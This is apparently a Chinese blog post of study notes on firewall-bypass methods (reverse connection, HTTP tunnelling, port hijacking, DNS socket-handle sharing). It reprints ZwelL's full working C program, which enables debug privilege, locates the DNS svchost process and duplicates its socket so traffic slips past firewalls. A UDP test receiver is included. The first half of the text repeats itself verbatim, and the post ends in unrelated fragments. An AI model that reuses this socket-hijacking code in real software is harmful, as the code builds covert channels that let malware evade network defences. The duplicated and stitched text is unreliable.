Nov
30
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以下是本人对几种穿透技术学习笔记和一点自己的想法:
防火墙是基本网络安全策略之一,它可以阻止不信任的外部网络用户对内部网络用户的访问,如果外网用户同内网用户之间的通信由外网用户发起,通信通常会被防火墙阻断,尤其是对TCP连接敏感,因此我们如果才能保证正常的数据传输呢,特别是非主动连接情况下,怎么保证连接和数据通信的安全稳定性呢?
人们使用穿透防火墙技术(常用):
1.反向连接------>由内网用户发起的连接请求,在防火墙规则下,是允许安全的
2.HTTP隧道技术------>就是吧所有要传送的数据全部封装到Http协议里进行传送
3.端口复用技术------>也称端口劫持技术,。其原理主要是通过修改套接字属性来实现端口重绑定,这种技术在接受外来数据包的时候通常是由主机进行转化,然后用户接受的
4.共享DNS套接字句柄技术------>这主要是使用了dns服务是所有防火墙免疫的功能来实现的,同时DNS套接字句柄技术最大的特点还是才用UDP通信的(后面将通过引用ZwelL的一些代码来说明)
今天我们主要介绍几种组合的穿透防火墙技术
1.反向连接与HTTP隧道技术
反向连接是由内部网络用户主动发起的连接请求,在防火墙规则下是合法的,假设现在有程序S,C
S---->代理------>C 服务端程序s由内部网络发起对C连接请求,通过代理服务器获取相应的IP和端口
<-----(ip,port) 建立socket套接字,设置端口号:80 80 ------------- ============ ===========当C/S建立连接后,进行数据传送的时候,这个时候我们使用HTTP隧道技术,将所有要传输的数据头经过HTTP协议封装,加个HTTP请求头:"Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n",同时在数据后面加上$$标记,用户在接受到数据的时程序根据预先设定的标记找到数据段,去除HTTP请求头,再把数据交由程序进行处理 采用反向连接+HTTP隧道技术也存在很多局限性 1.采用的端口号为80 2.利用HTTP隧道传输数据需要对数据进行HTTP封装,在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题 3.采用数据采集工具和像IS那样的工具可以检测出来 4.防火墙不是傻子,所以规则由时候是不能由我们去改变的 如何可以的吗,我们希望是让S程序为我们自动做个第三方端口映射,而此时第三的稳定性成为了我们的.......... 2.共享DNS套接字句柄技术 这个技术大家在05的时候就应该有所闻了,那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的....... 该技术使用了win终端服务库所提供的API函数 大概的流程:
利用wstapi中提供的函数列举所有系统进程----->查找目标进程或目标服务进程----->记录保存目标进程的PID------>利用获取的PID得到套接字句柄---->创建套接字进行通信
防火墙是基本网络安全策略之一,它可以阻止不信任的外部网络用户对内部网络用户的访问,如果外网用户同内网用户之间的通信由外网用户发起,通信通常会被防火墙阻断,尤其是对TCP连接敏感,因此我们如果才能保证正常的数据传输呢,特别是非主动连接情况下,怎么保证连接和数据通信的安全稳定性呢?
人们使用穿透防火墙技术(常用):
1.反向连接------>由内网用户发起的连接请求,在防火墙规则下,是允许安全的
2.HTTP隧道技术------>就是吧所有要传送的数据全部封装到Http协议里进行传送
3.端口复用技术------>也称端口劫持技术,。其原理主要是通过修改套接字属性来实现端口重绑定,这种技术在接受外来数据包的时候通常是由主机进行转化,然后用户接受的
4.共享DNS套接字句柄技术------>这主要是使用了dns服务是所有防火墙免疫的功能来实现的,同时DNS套接字句柄技术最大的特点还是才用UDP通信的(后面将通过引用ZwelL的一些代码来说明)
今天我们主要介绍几种组合的穿透防火墙技术
1.反向连接与HTTP隧道技术
反向连接是由内部网络用户主动发起的连接请求,在防火墙规则下是合法的,假设现在有程序S,C
S---->代理------>C 服务端程序s由内部网络发起对C连接请求,通过代理服务器获取相应的IP和端口
<-----(ip,port) 建立socket套接字,设置端口号:80 80 ------------- ============ ===========当C/S建立连接后,进行数据传送的时候,这个时候我们使用HTTP隧道技术,将所有要传输的数据头经过HTTP协议封装,加个HTTP请求头:"Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n",同时在数据后面加上$$标记,用户在接受到数据的时程序根据预先设定的标记找到数据段,去除HTTP请求头,再把数据交由程序进行处理 采用反向连接+HTTP隧道技术也存在很多局限性 1.采用的端口号为80 2.利用HTTP隧道传输数据需要对数据进行HTTP封装,在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题 3.采用数据采集工具和像IS那样的工具可以检测出来 4.防火墙不是傻子,所以规则由时候是不能由我们去改变的 如何可以的吗,我们希望是让S程序为我们自动做个第三方端口映射,而此时第三的稳定性成为了我们的.......... 2.共享DNS套接字句柄技术 这个技术大家在05的时候就应该有所闻了,那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的....... 该技术使用了win终端服务库所提供的API函数 大概的流程:
利用wstapi中提供的函数列举所有系统进程----->查找目标进程或目标服务进程----->记录保存目标进程的PID------>利用获取的PID得到套接字句柄---->创建套接字进行通信
- ============具体实现代码:以下引用ZwelL关于一种.....代码==================
- /*++
- Made By ZwelL
- zwell@sohu.com
- 2005.4.12
- --*/
- #include <winsock2.h>
- #include <stdio.h>
- #include <wtsapi32.h>
- #pragma comment(lib, "ws2_32")
- #pragma comment(lib, "wtsapi32")
- #define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
- #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
- typedef LONG NTSTATUS;
- typedef struct _SYSTEM_HANDLE_INFORMATION
- {
- ULONG ProcessId;
- UCHAR ObjectTypeNumber;
- UCHAR Flags;
- USHORT Handle;
- PVOID Object;
- ACCESS_MASK GrantedAccess;
- } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
- typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
- ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
- BOOL LocateNtdllEntry ( void )
- {
- BOOL ret = FALSE;
- char NTDLL_DLL[] = "ntdll.dll";
- HMODULE ntdll_dll = NULL;
- if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
- {
- printf( "GetModuleHandle() failed");
- return( FALSE );
- }
- if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
- {
- goto LocateNtdllEntry_exit;
- }
- ret = TRUE;
- LocateNtdllEntry_exit:
- if ( FALSE == ret )
- {
- printf( "GetProcAddress() failed");
- }
- ntdll_dll = NULL;
- return( ret );
- }
- /*++
- This routine is used to get a process's username from it's SID
- --*/
- BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
- {
- // sanity checks and default value
- if (pUserSid == NULL)
- return false;
- strcpy(szUserName, "?");
- SID_NAME_USE snu;
- TCHAR szUser[_MAX_PATH];
- DWORD chUser = _MAX_PATH;
- PDWORD pcchUser = &chUser;
- TCHAR szDomain[_MAX_PATH];
- DWORD chDomain = _MAX_PATH;
- PDWORD pcchDomain = &chDomain;
- // Retrieve user name and domain name based on user's SID.
- if (
- ::LookupAccountSid(
- NULL,
- pUserSid,
- szUser,
- pcchUser,
- szDomain,
- pcchDomain,
- &snu
- )
- )
- {
- wsprintf(szUserName, "%s", szUser);
- }
- else
- {
- return false;
- }
- return true;
- }
- /*++
- This routine is used to get the DNS process's Id
- Here, I use WTSEnumerateProcesses to get process user Sid,
- and then get the process user name. Beacause as it's a "NETWORK SERVICE",
- we cann't use OpenProcessToken to catch the DNS process's token information,
- even if we has the privilege in catching the SYSTEM's.
- --*/
- DWORD GetDNSProcessId()
- {
- PWTS_PROCESS_INFO pProcessInfo = NULL;
- DWORD ProcessCount = 0;
- char szUserName[255];
- DWORD Id = -1;
- if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
- {
- // dump each process description
- for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
- {
- if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
- {
- GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
- if( strcmp(szUserName, "NETWORK SERVICE") == 0)
- {
- Id = pProcessInfo[CurrentProcess].ProcessId;
- break;
- }
- }
- }
- WTSFreeMemory(pProcessInfo);
- }
- return Id;
- }
- /*++
- This doesn't work as we know, sign...
- but you can use the routine for other useing...
- --*/
- /*
- BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
- {
- HANDLE hProcess = NULL,
- hAccessToken = NULL;
- TCHAR InfoBuffer[1000], szDomainName[200];
- PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
- DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
- SID_NAME_USE snu;
- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
- if(hProcess == NULL)
- {
- printf("OpenProcess wrong");
- CloseHandle(hProcess);
- return false;
- }
- if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
- {
- printf("OpenProcessToken wrong:%08x", GetLastError());
- return false;
- }
- GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
- 1000, &dwInfoBufferSize);
- LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
- &dwAccountSize,szDomainName, &dwDomainSize, &snu);
- if(hProcess)
- CloseHandle(hProcess);
- if(hAccessToken)
- CloseHandle(hAccessToken);
- return true;
- }*/
- /*++
- Now, it is the most important stuff... ^_^
- --*/
- SOCKET GetSocketFromId (DWORD PID)
- {
- NTSTATUS status;
- PVOID buf = NULL;
- ULONG size = 1;
- ULONG NumOfHandle = 0;
- ULONG i;
- PSYSTEM_HANDLE_INFORMATION h_info = NULL;
- HANDLE sock = NULL;
- DWORD n;
- buf=malloc(0x1000);
- if(buf == NULL)
- {
- printf("malloc wrong\n");
- return NULL;
- }
- status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
- if(STATUS_INFO_LENGTH_MISMATCH == status)
- {
- free(buf);
- buf=malloc(n);
- if(buf == NULL)
- {
- printf("malloc wrong\n");
- return NULL;
- }
- status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
- }
- else
- {
- printf("ZwQuerySystemInformation wrong\n");
- return NULL;
- }
- NumOfHandle = *(ULONG*)buf;
- h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
- for(i = 0; i<NumOfHandle ;i++)
- {
- try
- {
- if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c )
- && (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
- // So I jump over this situation...
- // May be it's different in your system,
- ) //wind2000 is 0x1a
- {
- //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
- if( 0 == DuplicateHandle(
- OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
- (HANDLE)h_info[i].Handle,
- GetCurrentProcess(),
- &sock,
- STANDARD_RIGHTS_REQUIRED,
- true,
- DUPLICATE_SAME_ACCESS)
- )
- {
- printf("DuplicateHandle wrong:%8x", GetLastError());
- continue;
- }
- //printf("DuplicateHandle ok\n");
- sockaddr_in name = {0};
- name.sin_family = AF_INET;
- int namelen = sizeof(sockaddr_in);
- getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
- //printf("PORT=%5d\n", ntohs( name.sin_port ));
- if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
- break;
- }
- }
- catch(...)
- {
- continue;
- }
- }
- if ( buf != NULL )
- {
- free( buf );
- }
- return (SOCKET)sock;
- }
- /*++
- This is not required...
- --*/
- BOOL EnablePrivilege (PCSTR name)
- {
- HANDLE hToken;
- BOOL rv;
- TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
- LookupPrivilegeValue (
- 0,
- name,
- &priv.Privileges[0].Luid
- );
- priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- OpenProcessToken(
- GetCurrentProcess (),
- TOKEN_ADJUST_PRIVILEGES,
- &hToken
- );
- AdjustTokenPrivileges (
- hToken,
- FALSE,
- &priv,
- sizeof priv,
- 0,
- 0
- );
- rv = GetLastError () == ERROR_SUCCESS;
- CloseHandle (hToken);
- return rv;
- }
- void main()
- {
- WSADATA wsaData;
- char testbuf[255];
- SOCKET sock;
- sockaddr_in RecvAddr;
- int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
- if (iResult != NO_ERROR)
- printf("Error at WSAStartup()\n");
- if(!LocateNtdllEntry())
- return;
- if(!EnablePrivilege (SE_DEBUG_NAME))
- {
- printf("EnablePrivilege wrong\n");
- return;
- }
- sock = GetSocketFromId(GetDNSProcessId());
- if( sock==NULL)
- {
- printf("GetSocketFromId wrong\n");
- return;
- }
- //Change there value...
- RecvAddr.sin_family = AF_INET;
- RecvAddr.sin_port = htons(5555);
- RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
- if(SOCKET_ERROR == sendto(sock,
- "test",
- 5,
- 0,
- (SOCKADDR *) &RecvAddr,
- sizeof(RecvAddr)))
- {
- printf("sendto wrong:%d\n", WSAGetLastError());
- }
- else
- {
- printf("send ok... Have fun, right? ^_^\n");
- }
- getchar();
- //WSACleanup();
- return;
- }
- 很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
- 因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
- 但是怎么也不行,所以换个方法.用到了wtsapi32库函数.
- 再用下面的代码测试:
- /*++
- UdpReceiver
- --*/
- #include <stdio.h>
- #include "winsock2.h"
- #pragma comment(lib, "ws2_32")
- void main()
- {
- WSADATA wsaData;
- SOCKET RecvSocket;
- sockaddr_in RecvAddr;
- int Port = 5555;
- char RecvBuf[1024];
- int BufLen = 1024;
- sockaddr_in SenderAddr;
- int SenderAddrSize = sizeof(SenderAddr);
- //-----------------------------------------------
- // Initialize Winsock
- WSAStartup(MAKEWORD(2,2), &wsaData);
- //-----------------------------------------------
- // Create a receiver socket to receive datagrams
- RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- //-----------------------------------------------
- // Bind the socket to any address and the specified port.
- RecvAddr.sin_family = AF_INET;
- RecvAddr.sin_port = htons(Port);
- RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
- bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
- //-----------------------------------------------
- // Call the recvfrom function to receive datagrams
- // on the bound socket.
- printf("Receiving datagrams...\n");
- while(1)
- {
- recvfrom(RecvSocket,
- RecvBuf,
- BufLen,
- 0,
- (SOCKADDR *)&SenderAddr,
- &SenderAddrSize);
- printf("%s\n", RecvBuf);
- }
- //-----------------------------------------------
- // Close the socket when finished receiving datagrams
- printf("Finished receiving. Closing socket.\n");
- closesocket(RecvSocket);
- //-----------------------------------------------
- // Clean up and exit.
- printf("Exiting.\n");
- WSACleanup();
- return;
- }
- ===========================================================
- 测试步骤:
- 1. 在一台机器上执行UdpReceiver,
AV-Comparati
第一届中国网络攻防与系统









